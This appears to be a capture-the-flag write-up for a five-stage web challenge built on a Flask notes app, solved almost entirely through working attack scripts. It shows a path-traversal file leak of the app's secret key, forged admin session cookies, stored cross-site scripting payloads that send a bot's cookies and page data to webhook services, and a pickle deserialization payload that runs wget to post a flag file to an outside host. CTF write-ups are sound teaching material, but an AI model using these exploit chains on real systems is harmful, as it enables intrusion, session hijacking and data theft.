Intro to web

Part 1

Description

5 vulns, 5 stages - can you find them all?

Files: intro-web-1.tar.gz

Author: finn, vurlo

Solution

It says password is optional? After trying lots of usernames basically username can be anything you want.

We can create new notes, but doesn't seem useful.

Cookies are not JWT, but Flask Cookies

└─$ flask-unsign -c '.eJyrViotTi1SsqpWKsrPSVWygnB1wFReYi5IJDElNzNPqbYWAECoDrg.aFU6Ug.y8snKINH-NeVQueb3Ku5nJVcT-U' -d
{'user': {'role': 'user', 'username': 'admin'}}

The STAGE_1 flag is stored inside the .env file, hence we need LFI to get started.

main.py implements custom jinja filters which are used in the templates.

image_path is controlled by the user, meaning it's injectable.

@app.route('/note/new', methods=['GET', 'POST'])
@login_required
def new_note():
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        image_path = request.form['image_path']

        note_id = str(uuid4())
        notes[note_id] = {'owner': g.user, 'title': title, 'content': content, 'image_path': image_path}

        flash('Note created', 'success')
        return redirect(url_for('view_note', note_id=note_id))

    return render_template('note_form.html', image_path=random.choice(['.img/1.png', '.img/2.png', '.img/3.png']),)

lfi.py:

from requests import Session
from bs4 import BeautifulSoup as BS
from base64 import b64decode as bd

URL = 'https://springville-of-nuclear-grade-stars.gpn23.ctf.kitctf.de'

with Session() as session:
    session.post(URL + '/login', data={'username': 'admin', 'password': 'admin'})

    while True:
        lfi = input('LFI: ')
        resp = session.post(URL + '/note/new', data={'title': 'a', 'content': 'b', 'image_path': lfi})
        src = BS(resp.text, 'html.parser').find('img')['src']
        data = src.split(',', 1)[1].strip()
        if data:
            data = bd(data).decode()
            print(data)
        else:
            print('No data found for this LFI path. ' + lfi)
        print('---')

➜ py .\lfi.py
LFI: .img/../.env
FLASK_APP_SECRET_KEY=ab52f79ba61a6d7523245a53349f512c061f4008f0f857c54374a6bd08e53efff4b89fd8ffcdfb4c558f8fe3e7d320e3fe4a
FLAG_STAGE_1=GPNCTF{jU57_13ak_All_the_th1Ngs}

Part 2

Solution

For part 2 the bot logs in as random user and creates note with flag.

We are not able to leak the /proc/environ as it's outside wwwroot.

The /report/<note_id> route is able to interact with the bot, this is our entrypoint.

First we need to be able to Report the notes, this requires admin or moderator access.

To become admin we just have to have one of the following roles.

def is_mod():
    return g.user.get('role') in ['admin', 'moderator']

Since we leaked .env it's possible to forge custom cookies:

└─$ flask-unsign -c '.eJyrViotTi1SsqpWKsrPSVWygnB1wFReYi5IJDElNzNPqbYWAECoDrg.aFU6Ug.y8snKINH-NeVQueb3Ku5nJVcT-U' -d
{'user': {'role': 'user', 'username': 'admin'}}

└─$ flask-unsign -s -c "{'user': {'role': 'admin', 'username': 'admin'}}" -S 'ab52f79ba61a6d7523245a53349f512c061f4008f0f857c54374a6bd08e53efff4b89fd8ffcdfb4c558f8fe3e7d320e3fe4a'
.eJyrViotTi1SsqpWKsrPSVWyUkpMyc3MU9IBC-cl5iKEamsBTh0PAg.aFVD-g.jxv9ow2II4PqUNfoKf6ozPk0WHI

templates/report_note.html contains following lines:

{# The reason is safe, why else would we allow it to be reported? #}
<p>Report reason: {{ note.reason|safe }}</p>

TL;DR on safe filter is that it's going to render whatever HTML we pass.

from requests import Session
from bs4 import BeautifulSoup as BS
from base64 import b64decode as bd
from flask_unsign import decode, sign
import re

URL = 'https://silverridge-of-mega-ultra-unity.gpn23.ctf.kitctf.de'

with Session() as session:
    ## Debug
    # session.proxies = {
    #     'http':  'http://127.0.0.1:8080',
    #     'https': 'http://127.0.0.1:8080'
    # }
    # session.verify = False
    
    session.post(f'{URL}/login', data={'username': 'admin', 'password': 'admin'})
    resp = session.post(f'{URL}/note/new', data={'title': 'a', 'content': 'b', 'image_path': '.img/../.env'})
    src = BS(resp.text, 'html.parser').find('img')['src'].split(',', 1)[1].strip()
    secret_key = bd(src).decode().split('\n')[0].split('=')[1]
    note_id = resp.url.split('/')[-1]
    print(f'Note ID: {note_id}')
    print(f'Secret Key: {secret_key}')

    cookie = decode(session.cookies['session'])
    print(f'Cookie: {cookie}')
    cookie['user']['role'] = 'admin'
    cookie = sign(cookie, secret_key)
    session.cookies.clear()
    session.cookies.set('session', cookie)
    print(f'Signed Cookie: {cookie}')
    
    payload = "<script>fetch('https://uwuos.free.beeceptor.com/?c='.concat(document.cookie))</script>"
    session.post(f'{URL}/report/{note_id}', data={'reason': payload})
    print('Payload sent! Check webhook for the cookie.')
    
    resp = session.get(f'{URL}/dashboard')
    flag = re.search(r'GPNCTF\{[^\}]+\}', resp.text).group()
    print(f'Flag: {flag}')

Note ID: 4988f0f2-1011-4ca0-a6e7-1fcd627d46a1
Secret Key: aa46263ec7797dbbe44a335eedcf301af983368decc21bc835e5f4647edb4aa286127b63a100a9ac8e74da75ef90cfad8537
Cookie: {'user': {'role': 'user', 'username': 'admin'}}
Signed Cookie: .eJyrViotTi1SsqpWKsrPSVWyUkpMyc3MU9IBC-cl5iKEamsBTh0PAg.aFVOsg.uu2nUMKbcG3-A6FfMLbweAuypaU
Payload sent! Check webhook for the cookie.
Flag: GPNCTF{forg3_d15_JU1Cy_mOD}

Flag: GPNCTF{forg3_d15_JU1Cy_mOD}

Part 3

Solution

Just rerun the above script with 3rd challenge domain and check your webhook for flag.

Flag: GPNCTF{i_1oVe_s7olen_cooKI3s}

Part 4

Solution

Part 4 is available on /development route, but we need to be

Logged in
Admin
Have access to development routes

@app.route('/development', methods=['GET'])
@login_required
@moderator_required
@development_routes_required
def development():
    return FLAG_STAGE_4, 200

def development_routes_required(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        if not SHOW_DEVELOPMENT_ROUTES:
            return 'Development routes are not enabled', 403
        return f(*args, **kwargs)

    return decorated
    
@app.route('/settings', methods=['POST'])
@login_required
@admin_required
def settings():
    show_dev_routes = request.json.get('show_development_routes', False)

    global SHOW_DEVELOPMENT_ROUTES
    SHOW_DEVELOPMENT_ROUTES = show_dev_routes

    flash('Settings updated', 'success')
    return "Settings updated", 200

By default the dev is turned off, but with admin access we can turn it back on.

Admin access might not be so simple...

ADMIN_PASSWORD_HASH = os.environ.get('ADMIN_PASSWORD_HASH')

def admin_required(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        # I only trust my self to know the admin password :)
        if not hashlib.sha512(request.cookies.get('ADMIN_PASSWORD').encode()).hexdigest() == ADMIN_PASSWORD_HASH:
            return 'Unauthorized - You must be a admin to access this page', 403
        return f(*args, **kwargs)

    return decorated

Ugh.... The reason we didn't see ADMIN_PASSWORD in XSS is because of httpOnly switch.

await browser.setCookie({
	domain: baseUrl.replace('http://', '').replace('https://', ''),
	name: 'ADMIN_PASSWORD',
	value: password,
	httpOnly: true,
})

On the other hand, do we really need the password? The bot can do the hard work for us since it has the password.

from requests import Session
from bs4 import BeautifulSoup as BS
from base64 import b64decode as bd
from flask_unsign import decode, sign

URL = 'https://grandforge-of-cosmically-harmony.gpn23.ctf.kitctf.de'

with Session() as session:
    ## Debug
    # session.proxies = {
    #     'http':  'http://127.0.0.1:8080',
    #     'https': 'http://127.0.0.1:8080'
    # }
    # session.verify = False
    
    session.post(f'{URL}/login', data={'username': 'admin', 'password': 'admin'})
    resp = session.post(f'{URL}/note/new', data={'title': 'a', 'content': 'b', 'image_path': '.img/../.env'})
    src = BS(resp.text, 'html.parser').find('img')['src'].split(',', 1)[1].strip()
    secret_key = bd(src).decode().split('\n')[0].split('=')[1]
    note_id = resp.url.split('/')[-1]
    print(f'Note ID: {note_id}')
    print(f'Secret Key: {secret_key}')

    cookie = decode(session.cookies['session'])
    print(f'Cookie: {cookie}')
    cookie['user']['role'] = 'admin'
    cookie = sign(cookie, secret_key)
    session.cookies.clear()
    session.cookies.set('session', cookie)
    print(f'Signed Cookie: {cookie}')
    
    payload = """
    <script>
    fetch('/settings', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({ show_development_routes: true })
    });

    fetch('/development')
        .then(response => response.text())
        .then(data => {
            fetch('https://webhook.site/7279e6f8-3962-4b6a-8208-4fad54720b3d/?c=' + encodeURIComponent(data));
        });
    </script>
    """
    session.post(f'{URL}/report/{note_id}', data={'reason': payload})
    print('Payload sent!')

Part 5

Solution

The setup.py writes last file to god knows where, LFI bruteforce will take decades hence we require RCE.

with open(f"flag_{uuid4().hex + uuid4().hex + uuid4().hex}.txt", "w") as f:
    f.write(FLAG_STAGE_5)

Glancing over the leftover code we see pickle module used with user input -> Exploiting Python pickles

@app.route('/development/cookie-sign', methods=['POST'])
@login_required
@moderator_required
@development_routes_required
def sign_cookie():
    """Development route to learn how signing cookies works."""
    value = request.data.decode('utf-8')
    secret_key = app.secret_key.encode()
    signature = hashlib.sha256((value + secret_key.decode()).encode()).hexdigest()

    data = pickle.dumps({'value': value, 'signature': signature, }, 0)

    return {'cookie': f"{base64.b64encode(data).decode("utf-8")}"}, 200


@app.route('/development/cookie-verify', methods=['POST'])
@login_required
@moderator_required
@development_routes_required
def verify_cookie():
    """Development route to validat the signature of the cookie is valid."""
    data = request.json.get('cookie')
    try: data = pickle.loads(base64.b64decode(data))
    except: return "Invalid data :/", 400

    value = data.get('value')
    signature = data.get('signature')

    if not value or not signature: return "Missing signature or value", 400

    secret_key = app.secret_key.encode()
    expected_signature = hashlib.sha256((value + secret_key.decode()).encode()).hexdigest()

    if expected_signature != signature: return "Invalid signature", 400

    return "Valid Cookie!", 200

This was kind of painful to make it work, curl didn't exist or bash. Had to go into the container to discover this... wget exists

import os
from requests import Session
from bs4 import BeautifulSoup as BS
from base64 import b64decode as bd, b64encode
from flask_unsign import decode, sign
import pickle

URL = 'https://lakefield-of-apocalyptic-power.gpn23.ctf.kitctf.de'
# URL = 'http://127.0.0.1:9222'

class LetMeIn:
    def __reduce__(self):
        return (os.system,("wget --post-file=$(ls -1 /app/flag*) https://webhook.site/7279e6f8-3962-4b6a-8208-4fad54720b3d/?letmein -O-",))

with Session() as session:
    ## Debug
    # session.proxies = {
    #     'http':  'http://127.0.0.1:8080',
    #     'https': 'http://127.0.0.1:8080'
    # }
    # session.verify = False
    
    session.post(f'{URL}/login', data={'username': 'admin', 'password': 'admin'})
    resp = session.post(f'{URL}/note/new', data={'title': 'a', 'content': 'b', 'image_path': '.img/../.env'})
    src = BS(resp.text, 'html.parser').find('img')['src'].split(',', 1)[1].strip()
    secret_key = bd(src).decode().split('\n')[0].split('=')[1]
    note_id = resp.url.split('/')[-1]
    print(f'Note ID: {note_id}')
    print(f'Secret Key: {secret_key}')

    cookie = decode(session.cookies['session'])
    print(f'Cookie: {cookie}')
    cookie['user']['role'] = 'admin'
    cookie = sign(cookie, secret_key)
    session.cookies.clear()
    session.cookies.set('session', cookie)
    print(f'Signed Cookie: {cookie}')
    
    payload = """
    <script>
    fetch('/settings', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({ show_development_routes: true })
    });
    """
    session.post(f'{URL}/report/{note_id}', data={'reason': payload})
    print('Payload sent!')

    rce_payload = b64encode(pickle.dumps(LetMeIn())).decode()
    print(f"RCE payload: {rce_payload}")
    resp = session.post(f'{URL}/development/cookie-verify', json={'cookie': rce_payload})
    print(resp.text)

Flag: GPNCTF{rcE_is_EV3RYtH1nG}

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